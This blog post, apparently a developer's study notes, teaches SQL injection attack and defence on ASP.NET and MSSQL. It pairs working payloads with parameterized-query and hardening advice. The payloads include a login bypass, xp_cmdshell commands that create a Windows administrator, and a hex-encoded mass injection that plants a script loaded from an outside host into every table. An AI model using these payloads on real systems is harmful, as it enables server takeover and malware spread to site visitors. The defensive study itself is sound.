畢業開始從事winfrm到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種藉口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。
(對於sql注入的攻防,我只用過簡單拼接字串的注入及引數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門檢視大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)
下面的程式方案是採用 ASP.NET + MSSQL,其他技術在設定上會有少許不同。
什麼是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字串,欺騙伺服器執行惡意的SQL命令。在某些表單中,使用者輸入的內容直接用來構造(或者影響)動態SQL命令,或作為儲存過程的輸入引數,這類表單特別容易受到SQL注入式攻擊。
嚐嚐SQL注入
1. 一個簡單的登入頁面
關鍵程式碼:(詳細見下載的示例程式碼)
1 2 3 4 5 6 |
privateboolNoProtectLogin(string userName, string password) { int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password)); return count > 0 ? true : false; } |
方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的資料,這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)
1) 輸入正常資料,效果如圖:
合併的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′
2) 輸入注入資料:
如圖,即使用者名稱為:使用者名稱:admin’—,密碼可隨便輸入
合併的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′
因為UserName值中輸入了“–”註釋符,後面語句被省略而登入成功。(常常的手法:前面加上‘; ‘ (分號,用於結束前一條語句),後邊加上‘–‘ (用於註釋後邊的語句))
2. 上面是最簡單的一種SQL注入,常見的注入語句還有:
1) 猜測資料庫名,備份資料庫
a) 猜測資料庫名: and db_name() >0 或系統表master.dbo.sysdatabases
b) 備份資料庫:;backup database 資料庫名 to disk = ‘c:*.db’;–
或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–
2) 猜解欄位名稱
a) 猜解法:and (select count(欄位名) from 表名)>0 若“欄位名”存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。
3) 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄(伺服器上傳木馬)
先建立一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
a) 利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中
;insert temp exec master.dbo.xp_availablemedia;–
b) 利用xp_subdirs獲得子目錄列表,並存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–
c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,並存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實驗成功)
d) 利用 bcp 命令將表內容導成檔案
即插入木馬文字,然後匯出存為檔案。比如匯出為asp檔案,然後通過瀏覽器訪問該檔案並執行惡意指令碼。(使用該命令必須啟動’ xp_cmdshell’)
Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘
(注意:語句中使用的是雙引號,另外表名格式為“資料庫名.使用者名稱.表名”)
在sql查詢器中通過語句:Exec master..xp_cmdshell N’BCP’即可檢視BCP相關引數,如圖:
4) 查詢當前使用者的資料庫許可權
MSSQL中一共存在8種許可權:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當前使用者是否具有該許可權。
5) 設定新的資料庫帳戶(得到MSSQL管理員賬戶)
d) 在資料庫內新增一個hax使用者,預設密碼是空
;exec sp_addlogin’hax’;–
e) 給hax設定密碼 (null是舊密碼,password是新密碼,user是使用者名稱)
;exec master.dbo.sp_password null,password,username;–
f) 將hax新增到sysadmin組
;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–
6) xp_cmdshell MSSQL儲存過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin許可權的帳戶後,使用查詢分析器連線到資料庫,可通過xp_cmdshell執行系統命令列(必須是sysadmin許可權),即使用 cmd.exe 工具,可以做什麼自己多瞭解下。
下面我們使用xp_cmdshell來建立一個 Windows 使用者,並開啟遠端登入服務:
a) 判斷xp_cmdshell擴充套件儲存過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’
b) 恢復xp_cmdshell擴充套件儲存過程
Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;
開啟後使用xp_cmdshell還會報下面錯誤:
SQL Server 阻止了對元件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關啟用 ‘xp_cmdshell’ 的詳細資訊,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。
通過執行下面語句進行設定:
— 允許配置高階選項
EXEC sp_configure ‘show advanced options’, 1
GO
— 重新配置
RECONFIGURE
GO
— 啟用xp_cmdshell
EXEC sp_configure ‘xp_cmdshell’, 0
GO
—重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell擴充套件儲存過程
Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;
d) 新增windows使用者:
Exec xp_cmdshell ‘net user awen /add’;
e) 設定好密碼:
Exec xp_cmdshell ‘net user awen password’;
f) 提升到管理員:
Exec xp_cmdshell ‘net localgroup administrators awen /add’;
g) 開啟telnet服務:
Exec xp_cmdshell ‘net start tlntsvr’
7) 沒有xp_cmdshell擴充套件程式,也可建立Windows帳戶的辦法.
(本人windows7系統,測試下面SQL語句木有效果)
declare shell int ;
execsp_OAcreate ‘w script .shell’,shell output ;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;
在使用的時候會報如下錯:
SQL Server 阻止了對元件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因為此元件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關啟用 ‘Ole Automation Procedures’ 的詳細資訊,請參閱 SQL Server 聯機叢書中的 “外圍應用配置器“。
解決辦法:
sp_configure ‘show advanced options’, 1;
GO
RECONFIGURE;
GO
sp_configure ‘Ole Automation Procedures’, 1;
GO
RECONFIGURE;
GO
好了,這樣別人可以登入你的伺服器了,你怎麼看?
8) 客戶端指令碼攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意指令碼提交到資料庫中,當其他使用者瀏覽此內容時就會受到惡意指令碼的攻擊。
措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字串轉換為HTML編碼的字串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意指令碼提交到資料庫中,直接使用SQL語法UPDATE資料庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過“HEX編碼”,然後通過exec可以執行“動態”SQL的特性執行指令碼”。
參考:
示例程式碼:(可在示例附帶的資料庫測試)
a) 向當前資料庫的每個表的每個欄位插入一段惡意指令碼
1 2 3 4 5 6 7 8 9 |
Declare T Varchar(255),C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor |
b) 更高階的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程式的關鍵字檢查、指令碼轉義等,通過EXEC執行
1 2 |
dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);-- |
c) 批次刪除資料庫被注入的指令碼
1 2 |
declare @delStrnvarchar(500) set @delStr='' --要被替換掉字元 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar型別 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '資料庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off |
d) 我如何得到“HEX編碼”?
開始不知道HEX是什麼東西,後面查了是“十六進位制”,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進位制的標示符 ’0x’ )
Ø 線上轉換 (TRANSLATOR, BINARY),進入……
9) 對於敏感詞過濾不到位的檢查,我們可以結合函式構造SQL隱碼攻擊
比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:
1 |
declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu'); |
防止SQL注入
1. 資料庫許可權控制,只給訪問資料庫的web應用功能所需的最低許可權帳戶。
如MSSQL中一共存在8種許可權:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯誤資訊,首先我們要遮蔽伺服器的詳細錯誤資訊傳到客戶端。
在 ASP.NET 中,可通過web.config配置檔案的節點設定:
1 2 3 |
<customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/> </customerrors> |
mode:指定是啟用或禁用自定義錯誤,還是僅向遠端客戶端顯示自定義錯誤。
On | 指定啟用自定義錯誤。如果未指定defaultRedirect,使用者將看到一般性錯誤。 |
Off | 指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。 |
RemoteOnly | 指定僅向遠端客戶端顯示自定義錯誤並且向本地主機顯示 ASP.NET 錯誤。這是預設值。 |
看下效果圖:
設定為一般性錯誤:
設定為:
3. 把危險的和不必要的儲存過程刪除
xp_:擴充套件儲存過程的字首,SQL注入攻擊得手之後,攻擊者往往會通過執行xp_cmdshell之類的擴充套件儲存過程,獲取系統資訊,甚至控制、破壞系統。
xp_cmdshell | 能執行dos命令,通過語句sp_dropextendedproc刪除,
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7) xpsql70.dll(sqlserer 7.0) |
xp_fileexist | 用來確定一個檔案是否存在 |
xp_getfiledetails | 可以獲得檔案詳細資料 |
xp_dirtree | 可以展開你需要了解的目錄,獲得所有目錄深度 |
Xp_getnetname | 可以獲得伺服器名稱 |
Xp_regaddmultistring
Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite |
可以訪問登錄檔的儲存過程 |
Sp_OACreate
Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop |
如果你不需要請丟棄OLE自動儲存過程 |
4. 非引數化SQL與引數化SQL
1) 非引數化(動態拼接SQL)
a) 檢查客戶端指令碼:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字元》轉換掉。
b) 型別檢查:對接收資料有明確要求的,在方法內進行型別驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字元,那麼嚴格控制10個字元長度,一些注入語句就沒辦法進行。
d) 使用列舉:如果只有有限的幾個值,就用列舉。
e) 關鍵字過濾:這個門檻比較高,因為各個資料庫存在關鍵字,內建函式的差異,所以對編寫此函式的功底要求較高。如公司或個人有積累一個比較好的通用過濾函式還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
public static bool ValiParms(string parms) { if (parms == null) { return false; } Regex regex = new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2 = new Regex("'", RegexOptions.IgnoreCase); Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase); Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5 = new Regex(""", RegexOptions.IgnoreCase); Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase); Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))))); } |
優點:寫法相對簡單,網路傳輸量相對引數化拼接SQL小
缺點:
a) 對於關鍵字過濾,常常“顧此失彼”,如漏掉關鍵字,系統函式,對於HEX編碼的SQL語句沒辦法識別等等,並且需要針對各個資料庫封裝函式。
b) 無法滿足需求:使用者本來就想發表包含這些過濾字元的資料。
c) 執行拼接的SQL浪費大量快取空間來儲存只用一次的查詢計劃。伺服器的實體記憶體有限,SQLServer的快取空間也有限。有限的空間應該被充分利用。
2) 引數化查詢(Parameterized Query)
a) 檢查客戶端指令碼,型別檢查,長度驗證,使用列舉,明確的關鍵字過濾這些操作也是需要的。他們能儘早檢查出資料的有效性。
b) 引數化查詢原理:在使用引數化查詢的情況下,資料庫伺服器不會將引數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用引數執行,因此就算引數中含有具有損的指令,也不會被資料庫所執行。
c) 所以在實際開發中,入口處的安全檢查是必要的,引數化查詢應作為最後一道安全防線。
優點:
Ø 防止SQL注入(使單引號、分號、註釋符、xp_擴充套件函式、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
Ø 引數化查詢能強制執行型別和長度檢查。
Ø 在MSSQL中生成並重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大於50%的時間)
缺點:
Ø 不是所有資料庫都支援引數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用資料庫支援引數化查詢。
疑問:引數化如何“批量更新”資料庫。
a) 通過在引數名上增加一個計數來區分開多個引數化語句拼接中的同名引數。
EG:
1 2 3 4 5 6 7 8 9 |
StringBuilder sqlBuilder=new StringBuilder(512); Int count=0; For(迴圈) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; } |
b) 通過MSSQL 2008的新特性:表值引數,將C#中的整個表當引數傳遞給儲存過程,由SQL做邏輯處理。注意C#中引數設定parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請檢視……
疑慮:有部份的開發人員可能會認為使用引數化查詢,會讓程式更不好維護,或者在實現部份功能上會非常不便,然而,使用引數化查詢造成的額外開發成本,通常都遠低於因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。
另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法
1 2 3 4 5 6 7 8 9 |
--清空快取的查詢計劃 DBCC FREEPROCCACHE GO --查詢快取的查詢計劃 SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle GO |
3) 引數化查詢示例
效果如圖:
引數化關鍵程式碼:
1 2 3 4 5 6 7 8 9 10 11 |
Private bool ProtectLogin(string userName, string password) { SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false; } |
5. 儲存過程
儲存過程(Stored Procedure)是在大型資料庫系統中,一組為了完成特定功能的SQL 語句集,經編譯後儲存在資料庫中,使用者通過指定儲存過程的名字並給出引數(如果該儲存過程帶有引數)來執行它。
優點:
a) 安全性高,防止SQL注入並且可設定只有某些使用者才能使用指定儲存過程。
b) 在建立時進行預編譯,後續的呼叫不需再重新編譯。
c) 可以降低網路的通訊量。儲存過程方案中用傳遞儲存過程名來代替SQL語句。
缺點:
a) 非應用程式內聯程式碼,調式麻煩。
b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到儲存過程中,如變動就不需要重新編譯應用程式)
c) 如果在一個程式系統中大量的使用儲存過程,到程式交付使用的時候隨著使用者需求的增加會導致資料結構的變化,接著就是系統的相關問題了,最後如果使用者想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。
演示請下載示例程式,關鍵程式碼為:
1 2 |
cmd.CommandText = procName; // 傳遞儲存過程名 cmd.CommandType = CommandType.StoredProcedure; // 標識解析為儲存過程 |
如果在儲存過程中SQL語法很複雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支援替換 Transact-SQL 字串中指定的任何引數值, EXECUTE 語句不支援。所以只有使用sp_executesql方式才能啟到引數化防止SQL注入。
關鍵程式碼:(詳細見示例)
a) sp_executesql
1 2 3 4 5 6 7 8 9 10 11 |
CREATE PROCEDURE PROC_Login_executesql( @userNamenvarchar(10), @password nvarchar(10), @count int OUTPUT ) AS BEGIN DECLARE s nvarchar(1000); set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output END |
b) EXECUTE(注意sql中拼接字元,對於字元引數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)
1 2 3 4 5 6 7 8 9 10 |
CREATE PROCEDURE PROC_Login_EXEC( @userNamenvarchar(10), @password varchar(20) ) AS BEGIN DECLARE s nvarchar(1000); set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+''''; EXEC('DECLARE @count int;' +@s+'select @count'); END |
注入截圖如下:
6. 專業的SQL注入工具及防毒軟體
情景1
A:“丫的,又中毒了……”
B:“我看看,你這不是裸機在跑嗎?”
電腦上至少也要裝一款防毒軟體或木馬掃描軟體,這樣可以避免一些常見的侵入。比如開篇提到的SQL建立windows帳戶,就會立馬報出警報。
情景2
A:“終於把網站做好了,太完美了,已經檢查過沒有漏洞了!”
A:“網站怎麼被黑了,怎麼入侵的???”
公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。SQL注入工具介紹:10個SQL隱碼攻擊工具
7. 額外小知識:LIKE中的萬用字元
儘管這個不屬於SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
參考:SQL中萬用字元的使用
% | 包含零個或多個字元的任意字串。 |
_ | 任何單個字元。 |
[] | 指定範圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字元。 |
[^] | 不在指定範圍(例如 [^a – f])或集合(例如 [^abcdef])內的任何單個字元。 |
在模糊查詢LIKE中,對於輸入資料中的萬用字元必須轉義,否則會造成客戶想查詢包含這些特殊字元的資料時,這些特殊字元卻被解析為萬用字元。不與 LIKE 一同使用的萬用字元將解釋為常量而非模式。
注意使用萬用字元的索引效能問題:
a) like的第一個字元是‘%’或‘_’時,為未知字元不會使用索引, sql會遍歷全表。
b) 若萬用字元放在已知字元後面,會使用索引。
網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法檢視索引使用情況卻都沒有使用索引,可能在別的資料庫中會使用到索引吧……
截圖如下:
有兩種將萬用字元轉義為普通字元的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置於萬用字元之前時,該萬用字元就解釋為普通字元。例如,要搜尋在任意位置包含字串 5% 的字串,請使用:
WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’
2) 在方括號 ([ ]) 中只包含萬用字元本身,或要搜尋破折號 (-) 而不是用它指定搜尋範圍,請將破折號指定為方括號內的第一個字元。EG:
符號 | 含義 |
LIKE ‘5[%]’ | 5% |
LIKE ‘5%’ | 5 後跟 0 個或多個字元的字串 |
LIKE ‘[_]n’ | _n |
LIKE ‘_n’ | an, in, on (and so on) |
LIKE ‘[a-cdf]’ | a、b、c、d 或 f |
LIKE ‘[-acdf]’ | –、a、c、d 或 f |
LIKE ‘[ [ ]’ | [ |
LIKE ‘]’ | ] (右括號不需要轉義) |
所以,進行過輸入引數的關鍵字過濾後,還需要做下面轉換確保LIKE的正確執行
1 2 3 4 5 6 7 |
private static string ConvertSqlForLike(string sql) { sql = sql.Replace("[", "[[]"); // 這句話一定要在下面兩個語句之前,否則作為轉義符的方括號會被當作資料被再次處理 sql = sql.Replace("_", "[_]"); sql = sql.Replace("%", "[%]"); returnsql; } |
結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經入門了……
參考文獻:
擴充套件資料:
淺析Sql Server引數化查詢—–驗證了引數的型別和長度對引數化查詢影響
Sql Server引數化查詢之where in和like實現詳解 —–講述6種引數化實現方案
webshell—–不當小白,你必須認識的專業術語。一個用於站長管理,入侵者入侵的好工具
SQL隱碼攻擊技術和跨站指令碼攻擊的檢測 —–講解使用正規表示式檢測注入
XSS(百度百科) ——-惡意攻擊者往Web頁面裡插入惡意html程式碼,當使用者瀏覽該頁之時,嵌入其中Web裡面的html程式碼會被執行,從而達到惡意使用者的特殊目的。
XSS攻擊例項——-基本思路:我們都知道網上很多網站都可以“記住你的使用者名稱和密碼”或是“自動登入”,其實是在你的本地設定了一個cookie,這種方式可以讓你免去每次都輸入使用者名稱和口令的痛苦,但是也帶來很大的問題。試想,如果某使用者在“自動登入”的狀態下,如果你執行了一個程式,這個程式訪問“自動登入”這個網站上一些連結、提交一些表單,那麼,也就意味著這些程式不需要輸入使用者名稱和口令的手動互動就可以和伺服器上的程式通話。
原本打算10月中旬完成的這篇博文的,後面答應幫一個妹紙做一個小課程設計,所以這篇博文就中斷了,直到昨天才完成博文。另外妹紙的課程設計我也提供下載(一個SQL引數化應用的小程式),採用的是三層架構,但時間比較趕架構還不夠規範。 下載……
哈哈這邊有個熱心娃擔心妹紙咯,我也想到這個問題,所以課程設計沒有標題目,只提供下載……